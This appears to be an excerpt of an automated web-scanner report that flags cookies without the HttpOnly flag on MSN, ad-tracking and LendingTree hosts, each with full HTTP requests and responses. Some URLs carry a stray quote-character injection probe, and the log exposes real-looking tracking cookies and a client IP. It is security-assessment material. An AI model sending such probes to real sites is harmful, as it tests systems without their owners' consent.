<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/Man-jailed-for-defecating-in-store.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:44 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA56 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=049adc0a2f954bcdae024e6512e78500; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=A6C7330F7D414E7A9C40DFAA3A85381F; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:44 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17250
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/Monk-charged-under-anti-smoking-law.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:44 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA50 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=8d84d7479cf84091870cb3dce77d6db2; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=A675B0FE00124BA682A85CAD9ED64F43; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:44 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17256
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/No-bail-for-mom-who-killed-kids.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:45 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=317c8099fa3e4490afcb903b3fe5bbba; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=E96C99ED5C4A494298EF441C47EDA3C2; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:45 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17268
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/Police-break-up-fight-at-N.C.-church.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:45 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA55 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=ec4f555d8e624b82a3d84cc2ec546076; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=22BC3CB70C554EF0BD773636DE0E5BF8; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:45 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17262
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/Sled-dogs-slaughtered.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:45 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=d0fb5b01c3b841a8918659fa068cda64; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=E80A5234DFEE4ED5BC4DFFA52099EB73; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:45 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17176
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/Teens-arrested-in-kidnapping-assault.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:43 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA54 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=61a54a39f746415393b8f1d36e745375; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=5884B61259D8400AAD004671E5FA168C; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:43 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17266
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /IEIncreaseFont_preview.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:42 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=20824d93a5554284a5a17448fb79a5b8; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=E05C380373A7429F93DA9DA49BC1BAD1; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:42 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 13283
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /alphabet.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:41:26 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA54 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=3c3f37d8deb548dc89c09dac5c3d402b; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=B6BA7A76CD8F4E79AD3497DBAAB626A5; domain=.msn.com; expires=Sun, 21-Aug-2011 15:41:26 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 25427
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-gb" lang="en-gb" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /sync/img HTTP/1.1 Host: sync.mathtag.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: mt2/1.2.3.967 Oct 13 2010-13:40:24 ewr-pixel-n1a pid 0x12c2 4802 Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Date: Wed, 02 Feb 2011 15:42:09 GMT Location: http://sync.mathtag.com/sync/img?mm_bnc Etag: 4d497b51-ab59-519e-20fe-d56be81950af Connection: close Set-Cookie: uuid=4d497b51-ab59-519e-20fe-d56be81950af; domain=.mathtag.com; path=/; expires=Thu, 02-Feb-2012 15:42:09 GMT Set-Cookie: ts=1296661329; domain=.mathtag.com; path=/; expires=Thu, 02-Feb-2012 15:42:09 GMT Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/1463?ret=pp&_bkt=3&_bks=RMDhBtDtjMQ= HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bko=KJyE8VBQrsg+f1F/G1gnywedoutxBRZBQKWJA1UsT16nREW00wcOVcK9R+Ijp/WLuSOR3gTVA9D9U19xnx==; bkw4=KJpfoXU9y1M90zU9LsXb9T1wLfZFggw1b65ZDFRyIQQM9y1f9f1C9XmeKTPo2fuHNK2Zy3bKkVWmDctEkRFSakNiNn1hUeBiRBMXGAMpaac3tH7I9+V4YpCxhSbwgwfJuNrLbgAjcW6RsvELmqx2eBcBdfw0T0U4o9Hfs9NupXHyt8uO/zgeittavDQ2DeZe/9wW4e4PD3jjcB7tNF42Kb47a5Zc1RaDVaA01OpXWzC8sAU24bebUlPjK6GZj2Mebc0QKZRsn3ebJ4m2zpx+xnSOlmwRy9YZD8Gjsn8Mz5zrLn8uSySsaE4UzDttHnq73gDpla6x2xUtxxyQAdXYN5F1NacALxvojIOkRJOBRsH/N5KYZCX9BNXSf9XxYeJQ5kokiI8F5cXLR9vjdXumQucZBtzr9J0qGo9=; bk=4uX9rLUR22QsHNJo; bkc=KJh5N1+nsNWDOFeFJAqEwnYuHVNnacpWN/tYxZpaZrOYVyCPvaja+vDNTW/DP0b3WDHWNcPlGxUaHzWvqLu3i2YdGmevqQxHYin5I9eHKLdAlgZKr87Chlp7pcerRURexaWKmJhbkHR953DU3gQciTy4uBB2GqpEXU4Ndeg0nmNejJqzmLI2+VDX/GFV0GOzjT5EENbNEwt6Xdn0TyAydfA2fzPBvU7e1rVNvXJ9Ubl95MRoFHTQ7Xq9Ec7+aKZKjGcRjYG5yimx1fUzkBKKXxmIrWYkBc64KU1zpOrV3P8frSEQzpAweXTIA+rcrJmVG2wsS6cQCPdQd2XtohI8hEnNN8qMhfM6XEtwVCb6n/de5zRccnye4F28fgGXpWlNtrWxzw+xTaztT430ZJF0tZdk4mgcQnWjTfCk0ZFl3r22G8hPf8dysQ2qFrGpfFzVXMX2YU7IcL5pDKbFE5p4n9dWCm+dSFIww/UI8mTQ+dKzKfkWrY8P8lPTpbIqrWXrrYBwCKLwSF2F5hgk4CuzVpvst+IHC7G7E6T+zCdDYmS2sw4MmrfVJcKU8KCfTf0SElVZ0FUn/czGq6pdk2xL2bz8fF6Fh75PN1LK; bkst=KJhMR5Mehx9W+0LX4PAReQcjvQhsaCSJaZRZjg3VvRRsrijJ8AZbuzRoSqGoiHRZhLqs8oSVSKqvSDo92HK9b+AjuFm0XdnnXl0RpRaYcTOYyQyZOiRZHZRVOARZoCSskrjZhARVe8k96FpzRBF9qa2rJBtfyD/+ZWJnQDnue1bmgLsrgrsIdQPKlrqrXuckKPsPHKVKrAUOJF24tQvPX4v9fEDl1pYhBnv6+ex0BnRy1exlBM8uepJaMoKOQRzClz6NtSr36eAgyiFgypX7GcQFDa0eGEypJPfUWmQpYyBEWNwMKJ1DW6Bp/01MulmMoWxEwVOQZJoSVagRg0Nl29D9mRNJwQ==; bkdc=res
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 15:43:39 GMT P3P: CP="NOI DSP COR CUR ADMo DEVo PSAo PSDo OUR SAMo BUS UNI NAV", policyref="http://tags.bluekai.com/w3c/p3p.xml" Pragma: no-cache Expires: Thu, 01 Dec 1994 16:00:00 GMT Cache-Control: max-age=0, no-cache, no-store Set-Cookie: bk=VjPsezUR22QsHNJo; expires=Mon, 01-Aug-2011 15:43:39 GMT; path=/; domain=.bluekai.com Set-Cookie: bkc=KJh5N1+nsNWDOFeFJLjUW3hAGVtJQ3to5SmQGaSLYufDx3hYXPsAV+u9YNazaSosWOcHggrEaiGrOOPzvsNNW4ynOaKbWDoOWccM9XEcwjBf8lgrjGR4X86fypZct4/Orpl9b+4Vr9YyJ5lZ8IfB1wbqYtuAQ11Fh71klJEUposZINhCLIBP24yZ2egrxtiSUednFqkowYunkFmOoKRZo8fX0pv5o8tukdP7ymhWR20ntpp0ZZUvShzaQK8uQKNAPcGkklyS9Ewk+q2J5NxnH1jMXx9vxWbDzkBKK0GqXJDJaWFE28WlHLsXjo73+HKp6gbxd4eQq/ezI/AfSMAXSqyLjdAZVIeIo1W8MNhgZzfUkrlc3wudHhbtls+jMLBNxrfnxHKy4NE7rMe/E4USyxOy26HQnN7MIi3EZdnSctHd0AK9Au7M1LrDNI8Dld+KmS7KwIRNfgBXlVlzT6l7dlC38wy2MZ4YleI3rc2SdCQHgLdPdC2f6rKEtdlzlQFrhupCmAdBbdYHlNPhdfdAeM6UgMIgdqdfUu7l/ItkOVmGdHt3vc408BQX2XanyqyETUfbigLI0+Nim5hF7an2KjWGz4lVphN/s5wdJEqBwEMeF4F5I9WLRBHj; expires=Mon, 01-Aug-2011 15:43:39 GMT; path=/; domain=.bluekai.com Set-Cookie: bkdc=res; expires=Thu, 03-Feb-2011 15:43:39 GMT; path=/; domain=.bluekai.com BK-Server: a96f Content-Length: 62 Content-Type: image/gif Connection: keep-alive
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/2748?redir=http%3A%2F%2Fsegment-pixel.invitemedia.com%2Fset_partner_uid%3FpartnerID%3D84%26partnerUID%3D%24_BK_UUID%26sscs_active%3D1 HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://pixel.invitemedia.com/data_sync?partner_id=219 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEny79O3Jb5GExFm0Idw1IctHyG29WGJ1hQRZOiRZHZRVOARZoCSskrjZhAXj9JJ1lwpx9W+XaLUtTAlqFOxitRxArOx+/1pGbrySbrTqfIOPfK8rfh/KP8DjPa8jbbHzWZdNdS9oUhXGe+BEzp1nW6Lgu6Be/6+M9yBeztwk/w1AVmkTsOC0c5pEUj3bgxmuFYvIFew0KQKY2xU/mCwe1kU+zxbe1n9N1EDIBTAhxExl1M/0BnzbmAHO12RsYRZkoRV+iFnU46Ox9unDSn; bko=KJyE8VBQrsg+f1F/G1gnywedoutxBRZBQKWJA1UsT16nREW00wcOVcK9R+Ijp/WLuSOR3gTVA9D9U19xnx==; bkw4=KJpfoXU9y1M90zU9LsXb9T1wLfZFggw1b65ZDFRyIQQM9y1f9f1C9XmeKTPo2fuHNK2Zy3bKkVWmDctEkRFSakNiNn1hUeBiRBMXGAMpaac3tH7I9+V4YpCxhSbwgwfJuNrLbgAjcW6RsvELmqx2eBcBdfw0T0U4o9Hfs9NupXHyt8uO/zgeittavDQ2DeZe/9wW4e4PD3jjcB7tNF42Kb47a5Zc1RaDVaA01OpXWzC8sAU24bebUlPjK6GZj2Mebc0QKZRsn3ebJ4m2zpx+xnSOlmwRy9YZD8Gjsn8Mz5zrLn8uSySsaE4UzDttHnq73gDpla6x2xUtxxyQAdXYN5F1NacALxvojIOkRJOBRsH/N5KYZCX9BNXSf9XxYeJQ5kokiI8F5cXLR9vjdXumQucZBtzr9J0qGo9=; bk=tkrgLXUR22QsHNJo; bkc=KJh56XInDkWDOdeFNVpXix6rhQo7GB/hByDmVWZo+c9/o9ZinvHoZOHZ1Hi+jNxxizMVfSxQSHaRTYRSoGU1UhYT3A6yOWaWs0LRhggc2IBbfrRIw7emK4K5z8fcYyQ9MXw89MlnXrMm9olXP5rFBJKmv9dAX4RW6BgvaJyTeJJfZi7KXCrFTRwxtR/nGxR8lKnr28U7969hvFYI7oU8gflAcpWyDplnpbHFn97WcrDv4L0OU/k0DfpkZC+yhxDVomkf0mI3Rm8oo7pnfH7e/lk4OlbrApwlrnmS/2FvUH2y0ulyfdFkuEl0OzNDlfJLebguINwK6apun157rI/YCgKOENXrtQTcrY74zL9wM/XJfBPE+FXz8SjT0p5k4hvqysjBmSbjTil41r2flUE54w2eodv38g2a8E+m/lfcAjnp56pzMcYducvdNcylJZpd1F4p3XmGENfhzE+clm6jRE+GprFpkvXkrqd28Qb5anqUpw2kdmsXl9de7S4v1wKl4YThiu47779wpyMZlHMlXDUr5JjfVUwAFFn9f1do0i7qPlpzdGs0HpgUTcfx8wfTUwAd0kEOwy==
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /track/LogToDb.asp.aspx?merchantid=936138107000019&merchantsessionid=a2cc436f07764ff0bdfc512bb07215f0&description=LandingPage&pgurl=http%3A//www.millenniumhotels.com/millenniumboston/index.html&amount=0&orderid=&cid=&sm=&referer=http%3A//www.google.com/search%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dmillenium+boston&nsid=a2cc436f07764ff0bdfc512bb07215f0 HTTP/1.1 Host: track.roiservice.com Proxy-Connection: keep-alive Referer: http://www.millenniumhotels.com/millenniumboston/index.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: msid938956107000029=06dd214c75b14fd39004a5e41502868d; msid936138107000019=a2cc436f07764ff0bdfc512bb07215f0; GTT936138107000019=a2cc436f07764ff0bdfc512bb07215f0
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:25:56 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP NID PSA ADM OUR IND NAV COM" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: msid936138107000019=a2cc436f07764ff0bdfc512bb07215f0; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: image/gif Content-Length: 43
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /track/track.aspx?ROIID=936138107000019 HTTP/1.1 Host: track.roiservice.com Proxy-Connection: keep-alive Referer: http://www.millenniumhotels.com/millenniumboston/index.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: msid938956107000029=06dd214c75b14fd39004a5e41502868d
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:25:53 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP NID PSA ADM OUR IND NAV COM" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: msid936138107000019=a2cc436f07764ff0bdfc512bb07215f0; domain=.roiservice.com; expires=Sat, 01-Feb-2031 15:25:53 GMT; path=/ Set-Cookie: GTT936138107000019=a2cc436f07764ff0bdfc512bb07215f0; domain=.roiservice.com; path=/ Cache-Control: private Content-Type: text/javascript; charset=utf-8 Content-Length: 1628
var ROIID='936138107000019';var sn = 'a2cc436f07764ff0bdfc512bb07215f0';var dm=null;var gt_url = '';var gt_cid= '';var xDate=new Date();xDate.setFullYear(xDate.getFullYear() + 1);function au(nm, vl){g ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
v1st=3E5A3F6BE25E0C21; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.tree.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /trk/npv-event.gif?Log=1&dt=1296661472896&ns=tree&type=NPV&eventCat=Fossa&eventAction=view&eventLabel=undefined%3Aundefined&eventValue=&screen=1920x1200-16&version=0.9&url=http%3A%2F%2Foffers.lendingtree.com%2Fsplitter%2Fsplitter.ashx%3Fid%3Dmsnhptext12111%26promo%3D00313%26source%3D4666360%26esourceid%3D4666360%26800Num%3D1-800-289-1731'%26adtype%3D2&sn=serverName&_tsid=5d91cf81-64dd-4122-b722-209783712fb4&_tcid=99ececb2-b7d7-493d-8c9a-dc1b0ea28b4b&author=unset&partnerkey=&convid=&isconv=false&ip=173.193.214.243&convname= HTTP/1.1 Host: tracking.tree.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: t_lftm=v=1&id=suzsmde3PUmMmtwbDqKLSw--&bd=2011-02-02 15:43:54Z; t_svis=rfr=http%3a%2f%2foffers.lendingtree.com%2fsplitter%2fsplitter.ashx%3fid%3dmsnhptext12111%26promo%3d00313%26source%3d4666360%26esourceid%3d4666360%26800Num%3d1-800-289-1731%27%26adtype%3d2&adpk=&adcc=&adcm=&adcn=&adct=&adpxl=&adtype=2&id=gc+RXd1kIkG3IiCXg3EvtA--&v=4&cnt=1
Response
HTTP/1.1 200 OK Cache-Control: no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private,no-cache=Set-Cookie Pragma: no-cache Content-Type: image/gif Expires: Thu, 28 May 2009 00:00:00 GMT,Thu, 01 Dec 1994 16:00:00 GMT Last-Modified: Thu, 23 Apr 2009 20:07:22 GMT Accept-Ranges: bytes ETag: "039b71c4fc4c91:0" Vary: * Server: Microsoft-IIS/7.0 X-Powered-By: UrlRewriter.NET 2.0.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" Set-Cookie: v1st=3E5A3F6BE25E0C21; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.tree.com Date: Wed, 02 Feb 2011 15:43:41 GMT Content-Length: 35
The following cookie was issued by the application and does not have the HttpOnly flag set:
v1st=717B790BCEF95430; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.tree.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /trk/pv.gif?Log=1&dt=1296661472842&ns=tree&pageName=Fossa%3ALP%3Aundefined%3Aundefined&referrer=http%3A%2F%2Fburp%2Fshow%2F13&type=PV&status=200&dns=offers.lendingtree.com&uristem=%2Fsplitter%2Fsplitter.ashx&screen=1920x1200-16&lng=en-US&version=0.9&url=http%3A%2F%2Foffers.lendingtree.com%2Fsplitter%2Fsplitter.ashx%3Fid%3Dmsnhptext12111%26promo%3D00313%26source%3D4666360%26esourceid%3D4666360%26800Num%3D1-800-289-1731'%26adtype%3D2&sn=serverName&_tsid=5d91cf81-64dd-4122-b722-209783712fb4&_tcid=99ececb2-b7d7-493d-8c9a-dc1b0ea28b4b&author=unset HTTP/1.1 Host: tracking.tree.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: t_lftm=v=1&id=suzsmde3PUmMmtwbDqKLSw--&bd=2011-02-02 15:43:54Z; t_svis=rfr=http%3a%2f%2foffers.lendingtree.com%2fsplitter%2fsplitter.ashx%3fid%3dmsnhptext12111%26promo%3d00313%26source%3d4666360%26esourceid%3d4666360%26800Num%3d1-800-289-1731%27%26adtype%3d2&adpk=&adcc=&adcm=&adcn=&adct=&adpxl=&adtype=2&id=gc+RXd1kIkG3IiCXg3EvtA--&v=4&cnt=1
Response
HTTP/1.1 200 OK Cache-Control: no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private,no-cache=Set-Cookie Pragma: no-cache Content-Type: image/gif Expires: Thu, 28 May 2009 00:00:00 GMT,Thu, 01 Dec 1994 16:00:00 GMT Last-Modified: Thu, 23 Apr 2009 20:07:22 GMT Accept-Ranges: bytes ETag: "039b71c4fc4c91:0" Vary: * Server: Microsoft-IIS/7.0 X-Powered-By: UrlRewriter.NET 2.0.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" Set-Cookie: v1st=717B790BCEF95430; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.tree.com Date: Wed, 02 Feb 2011 15:43:41 GMT Content-Length: 35
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
